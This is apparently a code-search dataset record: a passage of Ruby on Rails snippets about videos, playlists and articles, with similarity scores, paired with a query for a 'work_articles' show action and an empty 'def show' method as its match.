#{viddler_id}\")\n # puts @viddler.inspect\n @viddler.authenticate! ENV['VIDDLER_USER'], ENV['VIDDLER_PASSWORD']\n videoData = @viddler.get 'viddler.videos.getDetails', :video_id => \"#{episode_id}\"\n # traceout(videoData)\n return videoData\n end", "def videos()\n\t\treturn Videos.new(@credentials.client_key, @credentials.get_access_token)\n\tend", "def set_playlist\n @playlist = Playlist.find_by(id:params[:id])\n end", "def video_list\n self.video_list = videos.map { |video| video[\"title\"] }\n end", "def video\n\t\tVideo.find(self.video_id)\n\tend", "def get_channel_vidios key\n\tchannel_details = Youtube.get('/channels?part=contentDetails&id=UC-lHJZR3Gqxm24_Vd_AJ5Yw&key' + key)\n\t\n\n\tp channel_details\n\tget_vidio_playlist key id\nend", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def video_url\n \"http://video.ted.com/#{videoID}\"\n end", "def videos( params={} )\n videos = get_connections(\"videos\", params)\n return map_connections videos, :to => Facebook::Graph::Video\n end", "def producer_public_videos(page_token = '')\n\n @producer_public_videos ||= begin\n result = []\n\n channels_response = get_channel_data\n uploads_list_id = channels_response.data.items.first['contentDetails']['relatedPlaylists']['uploads']\n\n public_uploads = get_public_uploads(uploads_list_id, page_token) \n playlist_items = public_uploads.items\n video_ids = playlist_items.map { |item| item[\"snippet\"][\"resourceId\"][\"videoId\"] }\n\n metadata_list = get_metadata(video_ids)\n duration_hash = metadata_list.map do |metadata|\n { metadata[\"id\"] => metadata[\"contentDetails\"][\"duration\"] }\n end.reduce(&:merge)\n\n view_hash = metadata_list.map do |metadata|\n { metadata[\"id\"] => metadata[\"statistics\"][\"viewCount\"] }\n end.reduce(&:merge)\n\n { \n :next_page_token => public_uploads.next_page_token, \n :items => serialize_playlist_items(playlist_items, duration_hash, view_hash)\n }\n end\n end", "def getVideos\n\t\tvideos = JSON.parse(RestClient.get(\"https://#{Cbthelper.username}:#{Cbthelper.authkey}@crossbrowsertesting.com/api/v3/selenium/#{@testId}/videos/\"))\t\n\t\tret = []\n\n\t\tfor video in videos\n\t\t\tret.push(Video.new(video[\"hash\"], @testId))\n\n\t\tend\n\n\t\treturn ret\n\tend", "def show\n @jeux_videos = JeuxVideo.find(params[:id])\n \n end", "def video_tracks\n tracks.select { |t| t.video? }\n end", "def video_tracks\n tracks.select { |t| t.video? }\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def set_playlist\n @playlist = Playlist.find(params[:id])\n end", "def downloaded_video_path\n \"/songs/#{self.id}.mpg\"\n end", "def get_youtube_video(id)\n uri = URI(\"https://noembed.com/embed?url=https://www.youtube.com/watch?v=#{id}\")\n begin\n resp_body = Net::HTTP.get(uri)\n title = JSON.parse(resp_body)['title']\n rescue\n title = \"Title wasn't found\"\n end\n # render html for youtube video embed\n \"<div class='video-title'>#{title}</div><iframe width='420' frameborder='0' height='315'\"+\n \" src='https://www.youtube-nocookie.com/embed/#{id.to_s}' allowfullscreen></iframe>\"\n end", "def set_playlist\n @playlist = Playlist.find(params[:playlist_id])\n end", "def show_youtube\n @youtube = YoutubeMovie.find(params[:id])\n s = @youtube.url.index(\"?v=\")\n e = @youtube.url.index(\"&\")\n @id = @youtube.url[s+3..e-1] rescue 1\n end", "def index\n @videos = @item.videos\n end", "def index\n @videos = @item.videos\n end", "def youtube_video_id\n video_id = link.match(/\\?v=/) ? link.split('?v=')[1] : link.split('/').last\n video_id = video_id.split('&')[0] if video_id =~ /&/\n self.vid = video_id\n end", "def set_youtube_playlist\n @youtube_playlist = YoutubePlaylist.find(params[:id])\n end", "def show\n @comment = Comment.new\n @bulb = Bulb.new\n @tags = @video.tags.split(\",\")\n @video.increment!(:plays)\n @video.updated_at = DateTime.now\n @video.save!\n @fullscreen = true\n @items = Item.where(video_id: @video.id)\n @playlist_ids = []\n @items.each do |item|\n @playlist_ids << item.playlist\n end\n @playlist_ids.uniq!\n @playlists = Playlist.where(id: @playlist_ids.map(&:id))\n end", "def fetch_video_o_url(id:)\n require 'typhoeus'\n auth_url = 'https://www.flickr.com/video_download.gne?id=' + id\n dl_url = nil\n request = Typhoeus::Request.new(auth_url, headers: {Cookie: @config['cookie']})\n request.on_complete do |response|\n dl_url = response.headers['location']\n end\n request.run\n return dl_url\n end", "def getPlaylists(extras=nil)\n method = 'getPlaylists'\n type = Playlist\n args = {}\n args[:extras] = extras if extras\n return_object type,method,args,true\n end", "def index\n if !params[:artist_name].empty?\n lastfm = Lastfm.new(ENV[\"LASTFM_KEY\"], ENV[\"LASTFM_SECRET\"])\n @videos = Yt::Collections::Videos.new\n artistspotify = RSpotify::Artist.search(params[:artist_name])\n artistlastfm = lastfm.artist.get_info(artist: params[:artist_name], autocorrect: 1)\n \n @artistbio = artistlastfm[\"bio\"][\"summary\"]\n puts artistspotify\n @artist = artistspotify.first\n @tracks = @artist.top_tracks(:US)\n # <% @videoId = @videos.where(q: \"music video for #{@artist.name} #{track.name}\", order: 'relevance').first.id %>\n # @videoId = @videos.where(q: params[:artist_name], safe_search: 'none').first.id\n else\n redirect_to root_path\n end \n end", "def playlist_tracks(playlist_id, next_url: nil, all: false, page: nil)\n uri = next_url.nil? ? \"https://api.deezer.com/playlist/#{playlist_id}/tracks\" : next_url\n headers = {params: {access_token: @access_token}}\n headers.fetch(:params).merge!(index: (page - 1) * DEEZER_PAGE_SIZE) unless page.nil?\n if all\n iterator_wrapper(__method__, playlist_id, next_url: uri)\n else\n response = RestWrapper.perform_request(uri, :get, headers)\n next_url.nil? ? response['data'] : response\n end\n end", "def index\n @videos = Video.where(project_id: @project.id)\n end", "def video_list(login = nil, authenticated = false, page=1)\n result = []\n response = nil\n if authenticated\n response = auth_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n else\n response = public_connection(HTTP_GET, \"/api/#{login}/videos.xml?page=#{page}\")\n end\n if response and response.body\n doc = REXML::Document.new response.body\n videos = doc.elements['videos']\n videos.elements.each('video') do |video|\n result << Video.new(video.to_s)\n end\n end\n result\n end", "def call\n video = search_youtube\n if video.present?\n context.playlist.add_video!(\n title: video.title,\n url: \"https://www.youtube.com/watch?v=#{video.id}\",\n user: context.user\n )\n context.dj.new_video_added!\n context.message = \"Success! #{video.title} was added to the playlist.\"\n else\n context.errors = \"Sorry but couldn't find any vides for #{query}.\"\n context.fail!\n end\n end", "def videos_by(params, options={})\n request_params = params.respond_to?(:to_hash) ? params : options\n request_params[:page] = integer_or_default(request_params[:page], 1)\n\n request_params[:dev_key] = @dev_key if @dev_key\n\n unless request_params[:max_results]\n request_params[:max_results] = integer_or_default(request_params[:per_page], 25)\n end\n\n unless request_params[:offset]\n request_params[:offset] = calculate_offset(request_params[:page], request_params[:max_results] )\n end\n\n if params.respond_to?(:to_hash) and not params[:user]\n request = YouTubeIt::Request::VideoSearch.new(request_params)\n elsif (params.respond_to?(:to_hash) && params[:user]) || (params == :favorites)\n request = YouTubeIt::Request::UserSearch.new(params, request_params)\n else\n request = YouTubeIt::Request::StandardSearch.new(params, request_params)\n end\n\n logger.debug \"Submitting request [url=#{request.url}].\" if @legacy_debug_flag\n parser = YouTubeIt::Parser::VideosFeedParser.new(request.url)\n parser.parse\n end", "def getPlaylists\n\t\tuserid = current_user.uid\n\t\tplaylists = GetPlaylistMetadataFromSpotify.build.call(session[\"devise.spotify_data\"])\n\t\tPlaylist.sync_playlists(playlists, userid)\n\t\trender json: playlists\n\tend", "def show\n @song = Song.find(params[:id])\n @yt_id = YoutubeSearch.search(\"#{@song.name} #{@song.artist.name}\").first['video_id']\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @song }\n end\n end", "def index\n @youtube_playlists = YoutubePlaylist.all\n end", "def video_by_status_url(status_url)\n parser = YouTubeG::Parser::VideoFeedParser.new(status_url)\n video = parser.parse \n return video \n end", "def mp4(id)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n make_get_call('/files/%i/mp4' % [id]).mp4\n end", "def videos_by(params, options={})\n request_params = params.respond_to?(:to_hash) ? params : options\n request_params[:page] = integer_or_default(request_params[:page], 1)\n \n unless request_params[:max_results]\n request_params[:max_results] = integer_or_default(request_params[:per_page], 25)\n end\n \n unless request_params[:offset]\n request_params[:offset] = calculate_offset(request_params[:page], request_params[:max_results] )\n end\n \n if params.respond_to?(:to_hash) and not params[:user]\n request = YouTubeG::Request::VideoSearch.new(request_params)\n elsif (params.respond_to?(:to_hash) && params[:user]) || (params == :favorites)\n request = YouTubeG::Request::UserSearch.new(params, request_params)\n else\n request = YouTubeG::Request::StandardSearch.new(params, request_params)\n end\n \n logger.debug \"Submitting request [url=#{request.url}].\"\n parser = YouTubeG::Parser::VideosFeedParser.new(request.url, request_headers, request_options)\n parser.parse\n end", "def show\n @user=current_user\n @playlist = Playlist.find(params[:id])\n @userId = Playlist.userId params[:id]\n @musicsPlaylists = MusicPlaylist.allMusic params[:id]\n end", "def index\n @lecture = Tutorial.find(params[:lecture_id])\n @videotuts = @lecture.videos.order(:id)\n \n \n end", "def show\n @user = current_user\n @playlist = Playlist.find(params[:id])\n @playlists = Playlist.where(:user_id=>@user.id).order(\"created_at DESC\").paginate(:page => params[:page], :per_page => 5)\n @songs = @playlist.songs\n end", "def item_find\n find(playlist_url(@response.old_index))\n end", "def set_playlist\n @playlist = Playlist.find params[:id]\n end", "def myvideos\n @videos = @current_user.videos.all\n end", "def list(key, **options)\n\t\t\t\tjson = get_request(options.merge(:method => 'list',\n\t\t\t\t\t\t\t\t\t\t\t\t :video_key => key))\n\t\t\t\tres = JSON.parse(json.body)\n\t\t\t\t\n\t\t\t\tif json.status == 200\n\t\t\t\t\tresults = process_list_response(res)\n\t\t\t\telse\n\t\t\t\t\traise \"HTTP Error #{json.status}: #{json.body}\"\n\t\t\t\tend\n\n\t\t\t\treturn results\n\t\t\tend", "def video_id\n values[:video_id]\n end", "def vimeo_video_id\n self.vid = link.split('/').last\n end", "def get_playlist!(user, playlist_title)\n playlist = user.playlists.select { |p| p.name == playlist_title} \n tracks = self.get_tracks!\n\n if playlist.empty?\n # Let's make a new playlist then!\n playlist = user.create_playlist!(playlist_title) \n playlist.add_tracks!(tracks) \n else\n # Pre-existing playlist\n # @todo This is pretty damn ugly!\n id = playlist.map { |p| p.id } \n playlist = RSpotify::Playlist.find(user.id, id.first)\n tracks = tracks & playlist.tracks\n playlist.add_tracks!(tracks) unless tracks.empty?\n end\n\n return playlist.uri\n end", "def videos_by(params, options={})\n request_params = params.respond_to?(:to_hash) ? params : options\n request_params[:page] ||= 1\n \n unless request_params[:max_results]\n request_params[:max_results] = request_params[:per_page] || 25\n end\n \n unless request_params[:offset]\n request_params[:offset] = calculate_offset(request_params[:page], request_params[:max_results] )\n end\n \n if params.respond_to?(:to_hash) and not params[:user]\n request = YouTubeG::Request::VideoSearch.new(request_params)\n elsif (params.respond_to?(:to_hash) && params[:user]) || (params == :favorites)\n request = YouTubeG::Request::UserSearch.new(request_params, options)\n else\n request = YouTubeG::Request::StandardSearch.new(params, request_params)\n end\n \n logger.debug \"Submitting request [url=#{request.url}].\" if logger\n parser = YouTubeG::Parser::VideosFeedParser.new(request.url)\n parser.parse\n end" ]
[ "0.7393167", "0.7364249", "0.72655493", "0.72349536", "0.7198465", "0.7108157", "0.70506155", "0.6948062", "0.69414", "0.68620986", "0.6840494", "0.6794294", "0.6747574", "0.67393523", "0.67171973", "0.6639431", "0.65199244", "0.6486782", "0.645982", "0.6438722", "0.6438313", "0.643654", "0.6396864", "0.638865", "0.63774997", "0.637218", "0.63610977", "0.6339011", "0.6332622", "0.63100404", "0.63100404", "0.63100404", "0.63100404", "0.6307538", "0.6302117", "0.6296493", "0.62844926", "0.628434", "0.628434", "0.628434", "0.62823117", "0.62820506", "0.6242602", "0.62419", "0.62276113", "0.62045926", "0.62000084", "0.61977327", "0.61944294", "0.61778104", "0.6171973", "0.615782", "0.6149082", "0.6146637", "0.61412054", "0.61412054", "0.6138864", "0.6138864", "0.6138864", "0.6138864", "0.6138864", "0.6138864", "0.6138864", "0.6138864", "0.6138864", "0.6138864", "0.61380154", "0.61285484", "0.61276287", "0.61213356", "0.6112355", "0.6112355", "0.6110764", "0.6109307", "0.61066765", "0.6105574", "0.6099828", "0.6089098", "0.60868645", "0.6075769", "0.6073221", "0.6059216", "0.60555315", "0.6050723", "0.6040176", "0.60399175", "0.60352945", "0.6025224", "0.6023313", "0.6016292", "0.6011384", "0.60112935", "0.60059243", "0.6005818", "0.59967923", "0.59729046", "0.59687155", "0.5960789", "0.5959685", "0.59443736" ]
0.76672584
0
GET /work_articles GET /work_articles.json
def index @search_work_articles = policy_scope(WorkArticle).ransack(params[:q]) @work_articles = @search_work_articles.result.paginate(page: params[:page], per_page: 20).order(:name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def articles\n @articles = Article.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @administration }\n end\n end", "def get_works\n tag = params['query']\n\n @articles = get_articles(tag)\n \n @found = 1 \n if @articles.nil?\n @msg = \"None found, try again...\"\n @found = 0\n @articles = []\n end\n\n render \"articles\"\n\n end", "def GetArticles params = {}\n\n params = params.merge(path: 'help_center/articles.json')\n APICall(params)\n\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = current_user.articles\n json_response(@articles)\n end", "def show\n @article = Article.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n raise if @articles.blank?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = article_all\n respond_with(@articles)\n end", "def call\n articles = JSON.parse(Base64.urlsafe_decode64(@params['articles']))\n Success(articles)\n rescue StandardError\n Failure(Value::Result.new(status: :bad_request, message: 'Article list not found'))\n end", "def index\n @works = Work.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @works }\n end\n end", "def index\n @works = Work.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @works }\n end\n end", "def get_articles\n @articles = ActiveSupport::JSON.decode(access_token.get('/articles.json'))\n end", "def index\n @response = HTTParty.get(\"http://newsapi.org/v2/top-headlines?category=sports&q=golf&apiKey=12e692d8e7254efa8cf6276ea99736b0\")\n @report = JSON.parse(@response.body)\n @article = @report[\"articles\"]\n end", "def show\n @work = Work.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work.to_json(:include => {\n :teacher => {},\n :student => {},\n :thesis_changes => {},\n :tasks => {:include => :thesis_changes}\n })}\n end\n end", "def index\n # GET /articles\n @articles = Article.all\n end", "def index\n @title = \"Official CloudFunded Blog\"\n @articles = Article.where(workflow_state: 'published', project_id: nil)\n respond_with(@articles) do |format|\n end\n end", "def index\n @tourism_articles = @tourism_articles.published.recent.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tourism_articles }\n end\n end", "def articles\n\n end", "def index\n @menu = \"articles\"\n @num_articles = num_articles\n @page_number = 1\n begin\n @page_number = params[:page].to_i unless params[:page].blank?\n last_page = (@num_articles / Ufo::MAX_PAGE_ITEMS) + 1\n if @page_number <= 0\n @page_number = 1\n elsif @page_number > last_page\n @page_number = last_page\n end\n rescue\n logger.error \"Page number not valid!\"\n end\n @articles = Rails.cache.fetch(\"articles/index/#{@page_number}\", :expires_in => 1.week) do\n Article.where(:status => 1).without(:article_helper_method, :article_type, :date_filter, :email, :partial_1).desc(:published_date).skip((@page_number-1) * Ufo::MAX_PAGE_ITEMS).limit(Ufo::MAX_PAGE_ITEMS).entries\n end\n @page_title = \"Articles\"\n @page_description = \"Latest Articles\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def articles\n @articles\n end", "def index # uses paginate\n @articles = Article.paginate page: params[:page], per_page: 10\n #@articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.order('id DESC')\n respond_to do |format|\n format.html\n format.json { render json: @articles }\n end\n end", "def index\n @journal = Journal.find(params[:journal_id])\n\n render json: @journal.workouts\n end", "def show\n @work = Work.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work }\n end\n end", "def show\n @work = Work.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work }\n end\n end", "def GetArticle id\n\n APICall(path: \"help_center/articles/#{id}.json\")\n\n end", "def set_work_article\n @work_article = WorkArticle.find(params[:id])\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @work_has_subject }\n end\n end", "def show\n @articles = Article.all\n end", "def index\n @art_works = ArtWork.all\n end", "def show\n @pages_article = PagesArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pages_article }\n end\n end", "def index\n @task_articles = TaskArticle.all\n end", "def show\n @work = Work.find(params[:id])\n render :json => {:name => @work.name, :desc => @work.description}\n end", "def content_index\n @magissue = Magissue.find(params[:id])\n # Initiate the array of contents' links\n a = []\n\n # Insert the link to the cover first\n a << {\"url\" => cover_magissue_url, \"title\" => \"Cover\", \"hidden\" => true}\n\n\n # Insert the link to the toc\n a << {\"url\" => toc_magissue_url, \"title\" => \"TOC\", \"hidden\" => true}\n\n # Insert the links to all the magissues's articles\n @magissue.articles.each do |article|\n entry = {\"url\" => read_article_url(article), \"title\" => article.headline, \"byline\" => article.author,\n \"thumb\" => (article.assets.exists? ? article.assets[0].dynamic_asset_url(\"40x40>\") : \"\")}\n a << entry\n end\n\n # Create the \"contents\" object and and associate the links array to it.\n b = {\"contents\" => a}\n\n # Render the response as JSON\n respond_to do |format|\n format.json { render :json => b }\n end\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all.sort_by(&:url)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def show\n @story = Story.find(params[:id])\n @epics = Epic.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end", "def index\n @articles = Article.page(params[:page]).order(:pub_date,:source,:headline)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n page = params[:page] || 1\n per_page = params[:per_page] || 20\n \n if params[:search]\n @search_query = params[:search]\n @articles = @account.articles.search( @search_query, :page => page, :per_page => per_page, :include => [:authors, :mediafiles, :section])\n else \n if page.to_i == 1\n @drafts = @account.articles.drafts.and_related_items\n @scheduled = @account.articles.scheduled.and_related_items.by_published_at(:desc)\n @awaiting_attention = @account.articles.awaiting_attention.all\n end\n @articles = @account.articles.published.by_published_at(:desc).paginate( :page => page, :per_page => per_page, :include => [:authors, :mediafiles, :section])\n end\n \n respond_to do |format|\n format.html\n format.js\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @article }\n end\n end", "def index\n#\t\t@search = Article.search(params[:search])\n#\t\t@articles = @search.paginate(:page => params[:page], :per_page => 15)\n @articles = Article.all\n respond_with(@articles)\n end", "def index\n @articles = Article.all\n respond_with @articles, status: get_status\n end", "def show\n @work = Work.find(params[:id])\n \n @title = \"#{@work.title.slice(0, 70)}\" + \" ...\"\n \n @last_five_articles = Article.find(:all, :limit => 5, :order => \"created_at DESC\") \n\n render :layout => 'application'\n end", "def articles(page = 'hot', options = {})\n get_resources(\"#{@url}#{page}\", options) do |resource_json|\n Article.new(resource_json['data'])\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def index\n @my_posted_homeworks = MyPostedHomework.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_posted_homeworks }\n end\n end", "def article(id, params = {})\n get \"articles/#{id}\", {query: params}\n end", "def show\n @clothing_article = ClothingArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clothing_article }\n end\n end", "def index\n @articles = Article.all()\n end", "def read_articles\n JSON.parse(File.read(\"articles.json\"))\nend", "def index\n @articles = Article.published\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @articles }\n end\n end", "def show\n begin\n article = Article.joins(:article_text).select(\"text, title\").find(params[:id])\n if article.text.nil?\n render :json => {title: article.title, text: MESSAGE}.to_json\n else\n render :json => article\n end\n rescue\n render :json => {title: \"\", text: MESSAGE}.to_json\n end\n end", "def articles\n return @articles\n end", "def show\n @article = Article.find(params[:id])\n @frequent_searches = SearchTopic.where('created_at > ?',Time.now - 7.days).limit(10).to_a\n respond_to do |format|\n if @article.published == false\n format.html { redirect_to articles_path, notice: I18n.t(\"articles.article_not_published\")} \n else\n format.html {render :layout => 'public' } \n format.json { render json: @article.to_json }\n end\n end\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end" ]
[ "0.73301977", "0.7054169", "0.7041821", "0.695864", "0.689784", "0.689784", "0.689784", "0.689784", "0.689784", "0.689784", "0.67780364", "0.6772931", "0.66936994", "0.66910684", "0.65991527", "0.659814", "0.659814", "0.65616906", "0.65373474", "0.65065885", "0.6460646", "0.6428835", "0.6408391", "0.6391518", "0.63548905", "0.63437814", "0.63421595", "0.63411564", "0.633972", "0.63154626", "0.63154626", "0.6311235", "0.62803715", "0.62792975", "0.62792975", "0.62792975", "0.62792975", "0.62792975", "0.62792975", "0.62792975", "0.62792975", "0.62792975", "0.62792975", "0.62792975", "0.62792975", "0.62792975", "0.62792975", "0.62782204", "0.62776244", "0.6276895", "0.6265136", "0.6263029", "0.6261127", "0.6258802", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.62498134", "0.6244471", "0.6243239", "0.6240076", "0.62343854", "0.6230582", "0.6214175", "0.6211102", "0.62068105", "0.61958987", "0.61928993", "0.6185322", "0.618419", "0.61793005", "0.6172961", "0.6165538", "0.6154678", "0.6146609", "0.6143297", "0.61397153", "0.6138607", "0.6138433" ]
0.6166993
93
GET /work_articles/1 GET /work_articles/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def articles\n @articles = Article.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @administration }\n end\n end", "def show\n @article = Article.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def get_works\n tag = params['query']\n\n @articles = get_articles(tag)\n \n @found = 1 \n if @articles.nil?\n @msg = \"None found, try again...\"\n @found = 0\n @articles = []\n end\n\n render \"articles\"\n\n end", "def show\n @work = Work.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work }\n end\n end", "def show\n @work = Work.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @work }\n end\n end", "def show\n @work = Work.find(params[:id])\n render :json => {:name => @work.name, :desc => @work.description}\n end", "def index\n @works = Work.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @works }\n end\n end", "def index\n @works = Work.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @works }\n end\n end", "def set_work_article\n @work_article = WorkArticle.find(params[:id])\n end", "def GetArticle id\n\n APICall(path: \"help_center/articles/#{id}.json\")\n\n end", "def index\n @articles = Article.all\n raise if @articles.blank?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def show\n @article = Article.where(id: params[:id]).last\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n 